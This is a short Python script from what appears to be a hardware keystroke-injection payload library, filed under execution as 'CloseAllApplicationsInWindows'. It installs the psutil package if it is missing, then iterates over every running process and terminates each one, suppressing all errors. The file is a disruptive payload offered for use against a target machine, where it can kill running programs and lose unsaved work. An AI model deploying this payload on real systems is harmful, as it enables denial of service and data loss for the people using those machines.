omg-payloads/payloads/library/execution/CloseAllApplicationsInWindows/script.py

13 lines
200 B
Python

try:
import psutil
except:
import os
os.system("pip install psutil")
import psutil
for process in psutil.process_iter():
try:
process.terminate()
except:
pass